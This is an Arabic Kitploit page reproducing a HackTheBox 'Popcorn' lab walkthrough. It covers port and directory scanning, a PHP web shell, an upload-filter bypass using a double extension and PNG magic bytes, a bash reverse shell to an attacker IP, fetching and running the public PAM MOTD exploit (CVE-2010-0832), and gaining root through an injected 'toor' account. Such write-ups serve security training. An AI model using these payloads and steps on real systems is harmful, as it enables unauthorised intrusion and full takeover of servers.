Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Popcorn-TJNULL-OSCP- — شرح لجهاز Popcorn HTB يغطي التخمين المتقدم للأدلة، وتجاوز رفع الملفات عبر الأرقام السحرية/تزوير الامتداد باستخدام Burp Suite، وتصعيد الامتيازات عبر CVE-2010-0832 (PAM MOTD File Tampering). | Kitploit
أدوات/GitHubGitHub/r3fr4kt/popcorn-tjnull-oscp-
تصعيد الامتيازاتالاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالاختبار العشوائيCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubr3fr4kt/popcorn-tjnull-oscp-

Popcorn-TJNULL-OSCP-

منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

شرح لجهاز Popcorn HTB يغطي التخمين المتقدم للأدلة، وتجاوز رفع الملفات عبر الأرقام السحرية/تزوير الامتداد باستخدام Burp Suite، وتصعيد الامتيازات عبر CVE-2010-0832 (PAM MOTD File Tampering).

عرض المستودع

هاك ذا بوكس: شرح Popcorn

التاريخ: 05 يونيو 2026
الصعوبة: سهلة
المنصة: HackTheBox
التقنيات الرئيسية: تعداد المنافذ والخدمات، اختبار الدلائل (Gobuster)، تجاوز رفع الملفات، التلاعب بطلبات HTTP (Burp Suite)، تنفيذ الأكواد عن بُعد (RCE)، تثبيت شل TTY متقدم (Python)، استغلال Kernel/PAM المحلي (التلاعب بملف MOTD).


1. الاستطلاع والتعداد

فحص المنافذ (استطلاع سريع)

نبدأ بإجراء فحص سريع لمنافذ TCP عبر جميع المنافذ 65,535 (-p-) لتحديد نقاط الدخول المفتوحة. نقوم بتحسين سرعة التنفيذ باستخدام --min-rate 5000 ونتجاوز دقة DNS وفحص البنج لتبسيط العملية في بيئة التدقيق:

root@kitploit:~
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>

يكتشف الفحص الأولي بشكل موثوق منفذين مفتوحين: المنفذ 22 (SSH) والمنفذ 80 (HTTP).

فحص الخدمات والثغرات (تعمق)

بعد ذلك، نقوم بإجراء فحص مستهدف وعميق على المنافذ المحددة لتحديد إصدارات الخدمة بدقة وتشغيل نصوص Nmap القياسية والأساسية للثغرات:

root@kitploit:~
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>

من المخرجات، نستخرج معلومات حاسمة حول النظام المستهدف:

  • المنفذ 22/TCP (SSH): OpenSSH 5.1 Debian 6ubuntu2 (يشير إلى توزيعة Ubuntu قديمة جدًا).
  • المنفذ 80/TCP (HTTP): Apache httpd 2.2.12

اختبار الدلائل (Gobuster)

قبل التفاعل مع تطبيق الويب عبر المتصفح، نضيف عنوان IP المستهدف إلى ملف /etc/hosts في جهاز المهاجم لتنظيف تعيين النطاق وضمان حل إعادة التوجيه الداخلية بشكل صحيح:

root@kitploit:~
<VICTIM_IP>    popcorn.htb

ثم نقوم بتشغيل اكتشاف الدلائل المخفية آليًا باستخدام gobuster وقائمة كلمات DirBuster الكلاسيكية المتوسطة الحجم:

root@kitploit:~
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt

تكشف مرحلة الاختبار عن المسارات التالية القابلة للوصول على خادم الويب الضحية:

  • /index (صفحة الفهرس القياسية).
  • /test (لوحة اختبار أو ملف معلومات تطوير).
  • /torrent (منصة ويب كاملة مخصصة لاستضافة ومشاركة ملفات التورنت).
  • /response (صفحة استجابة داخلية).

2. ناقل الوصول الأولي (استغلال الويب وتجاوز الفلتر)

يكشف استكشاف دليل /torrent عن نظام إدارة محتوى لمشاركة التورنت. للتفاعل مع ميزات الرفع، نقوم بالتسجيل والدخول إلى حساب صالح تم إنشاؤه فورًا. بعد نشر ملف .torrent شرعي، تمكن المنصة خيارًا لتحرير تفاصيل التورنت ورفع صورة لقطة شاشة ترويجية. يصبح هذا النموذج المحدد ناقل الهجوم الرئيسي لدينا.

لتحقيق تنفيذ الأكواد عن بُعد (RCE)، نمر عبر سلسلة من مراحل الاختبار، محللين سلوك الواجهة الخلفية باستخدام Burp Suite (Repeater) :

المحاولة 1: ويب شل ديناميكي عبر معلمات GET (خطأ نحوي)

نعترض طلب رفع لقطة الشاشة ونعدل اسم الملف إلى exploit.php. نحاول إدراج ويب شل كلاسيكي من سطر واحد في جسم الملف:

root@kitploit:~
<?php system($_GET['cmd']) ?>

النتيجة: يعيد خادم الويب خطأ تنفيذ داخلي بسبب فاصلة منقوصة مفقودة ; في نهاية تعليمة PHP، مما يكسر تدفق التنفيذ.

المحاولة 2: الحقن بمعلمات في رابط الرفع (فشل الطريقة)

نصحح الصياغة إلى <?php system($_GET['cmd']); ?>, ولكن نظرًا لأن الطلب يُرسل عبر POST (باستخدام multipart/form-data)، نحاول تمرير أمرنا مباشرة داخل رابط الرأس (POST /torrent/upload_file.php?cmd=whoami). النتيجة: يرمي خادم الويب الخطأ التالي:

root@kitploit:~
Cannot execute a blank command

التحليل: أثناء تحليل رفع الملف، يتجاهل الواجهة الخلفية تمامًا متغيرات GET الموجودة في الرابط. يقوم سكريبت upload_file.php بكتابة الملف على القرص ولكنه يحاول فورًا تنفيذ الوظيفة الداخلية. نظرًا لعدم تلقيه شيئًا في متغيرات الجسم المتوقعة، تتم معالجة $_GET['cmd'] كفارغ.

المحاولة 3: الامتداد المزدوج (فشل التنفيذ الثابت)

لتجاوز فلاتر التحقق الأساسية من الامتداد التي تتحقق مما إذا كان الملف صورة صالحة، نعيد تسمية الملف إلى innocent.php.png ونرمز حمولة شل عكسية بشكل ثابت بحيث لا تعتمد على معلمات خارجية:

root@kitploit:~
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

النتيجة: يستجيب الخادم بنجاح 200 OK قائلًا:

root@kitploit:~
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.

التحليل: على الرغم من نجاحها في تجاوز الفلتر الأولي، نظرًا لأن الملف ينتهي بامتداد .png، فقد تعامله خادم Apache كصورة ثابتة عادية. عند التصفح إليه، يقوم المتصفح بطباعة البايتات الأولية كنص عادي؛ ولا يمرر Apache الملف أبدًا إلى مترجم PHP، مما يعني أن مستمع Netcat الخاص بنا لا يلتقط اتصالًا أبدًا.

المحاولة 4: التجاوز الناجح (تعديل الامتداد والأرقام السحرية)

مع العلم أن الخادم بحاجة إلى تحليل امتداد .php لتفعيل تنفيذ الكود، نقوم بعكس ترتيب الامتداد (innocent.png.php)، ونحافظ على رأس Content-Type: image/png كما هو، ونضيف توقيع PNG أو الأرقام السحرية (‰PNG) إلى بداية جسم الملف لخداع فحوصات التحقق من المحتوى في الواجهة الخلفية:

root@kitploit:~
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1

------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--

النتيجة: يقبل خادم الويب الملف بشكل نظيف، ويعالج الامتداد اللاحق، ويحفظه داخل دليل الرفع تحت اسم innocent.php :

root@kitploit:~
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.

تفعيل تنفيذ الأكواد عن بُعد (RCE)

نظرًا لأن سكريبت الرفع يخزن الملف على القرص فقط دون تنفيذه في سياق طلب الرفع POST، فإننا نطلق استدعاءً مستقلاً لإجبار الخادم على قراءته:

  1. إعداد مستمع Netcat على جهاز المهاجم:
root@kitploit:~
nc -lvnp 4444

  1. تفعيل الشل العكسي عن طريق التصفح مباشرة إلى مسار URL للملف المرفوع (إما عبر المتصفح أو باستخدام طلب GET نظيف في Burp):
root@kitploit:~
[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)

يضطر خادم Apache إلى معالجة الملف، ويكتشف علامات PHP، وينفذ الحمولة Bash، ويتم التقاط الاتصال بشكل مثالي على مستمعنا، مما يمنح الوصول الأولي كمستخدم www-data.


3. ما بعد الاستغلال وتثبيت شل TTY

محاولة ترقية الامتيازات فور تلقي الشل تظهر قيودًا بيئية شديدة:

root@kitploit:~
www-data@popcorn:/$ su root
su: must be run from a terminal

يتطلب أمر su بشكل صارم محطة تفاعلية حقيقية (TTY) لقبول الإدخال بأمان. محاولة فرض واحدة عبر python3 تشير إلى أنه غير مثبت على هذا الجهاز القديم (The program 'python3' is currently not installed).

نتجاوز هذا العائق باستخدام ثنائي Python الكلاسيكي (Python 2) الموجود على الجهاز وإعادة تكوين واصفات محطة جهاز المهاجم:

root@kitploit:~
# 1. Spawn an interactive shell using the absolute path of legacy Python
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'

# 2. Suspend the shell process to the background
Ctrl + Z

# 3. On our attacker terminal, set the keyboard state to raw and foreground the Netcat listener
stty raw -echo; fg

# 4. Force a screen refresh and map terminal environment variables for history and autocomplete support
reset xterm
export TERM=xterm
export SHELL=bash


4. تصعيد الامتيازات

تعداد النظام المحلي

نفحص توزيعة نظام التشغيل وإصدار Kernel Linux قيد التشغيل على الجهاز الضحية:

root@kitploit:~
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux

www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l

يشير نظام التشغيل إلى إصدار Ubuntu قديم (Karmic Koala)، يحتوي Kernel وحزمه الأساسية على عدة ثغرات معروفة لتصعيد الامتيازات المحلية.

استغلال ثغرة PAM MOTD

نحدد ناقلًا عالي الجدوى يتضمن تحليل رسالة اليوم لـ PAM (Linux PAM 1.1.0 - تصعيد الامتيازات عبر التلاعب بملف MOTD، متتبع تحت CVE-2010-0832). تسمح هذه الثغرة للمستخدمين المحليين بالتلاعب بالملفات المملوكة من قبل root عبر معالجة غير آمنة للرموز الرمزية أثناء إجراءات مصادقة SSH المحلية.

نستغل سكريبت الاستغلال العام 14339.sh لأتمتة مسار الهجوم.

  1. تنزيل الاستغلال على جهاز المهاجم وتشغيل خادم HTTP Python أساسي لاستضافته:
root@kitploit:~
searchsploit -m linux/local/14339.sh
python3 -m http.server 80

  1. من الشل المثبت على Popcorn، انتقل إلى دليل /tmp (الذي يمنح أذونات القراءة/الكتابة/التنفيذ العالمية)، وقم بتنزيل السكريبت وجعله قابلًا للتنفيذ:
root@kitploit:~
cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh

مخرجات الاستغلال:

root@kitploit:~
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root

ينتهي السكريبت بنجاح، متلاعبًا مباشرة بقاعدة بيانات المستخدمين المحلية في /etc/passwd.

الترقية إلى Root

نظرًا للآلية الداخلية للاستغلال، فإنه لا يغير كلمة مرور حساب المستخدم root الأصلي. بدلاً من ذلك، يقوم بحقن مستخدم مستنسخ جديد بامتيازات الجذر في نهاية ملف /etc/passwd.

نؤكد ذلك بقراءة السطر الأخير من ملف المستخدمين:

root@kitploit:~
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash

ملاحظة: يمنح تكوين 0:0 (UID/GID) لحساب المستخدم هذا معلمات هوية مطابقة لمدير الجذر.

بينما يؤدي تشغيل su root بكلمة المرور toor إلى إخراج خطأ فشل المصادقة لأن حساب الجذر الأصلي لم يتم المساس به، فإن شل TTY المثبتة لدينا تسمح لنا بتبديل المستخدمين بسلاسة من خلال استهداف حساب المستنسخ المخصص:

root@kitploit:~
www-data@popcorn:/tmp$ su toor
Password: toor

نقدم كلمة المرور (toor)، فورًا يتحول موجه المحطة إلى معرف الهاش الأعلى (#):

root@kitploit:~
root@popcorn:/tmp# whoami
toor

root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

الجهاز المستهدف تم اختراقه بالكامل. نحن الآن نمتلك وصولًا إداريًا لجمع هاشات الأعلام المطلوبة:

  • علم المستخدم: /home/george/user.txt
  • علم الجذر: /root/root.txt
تنزيل الأداة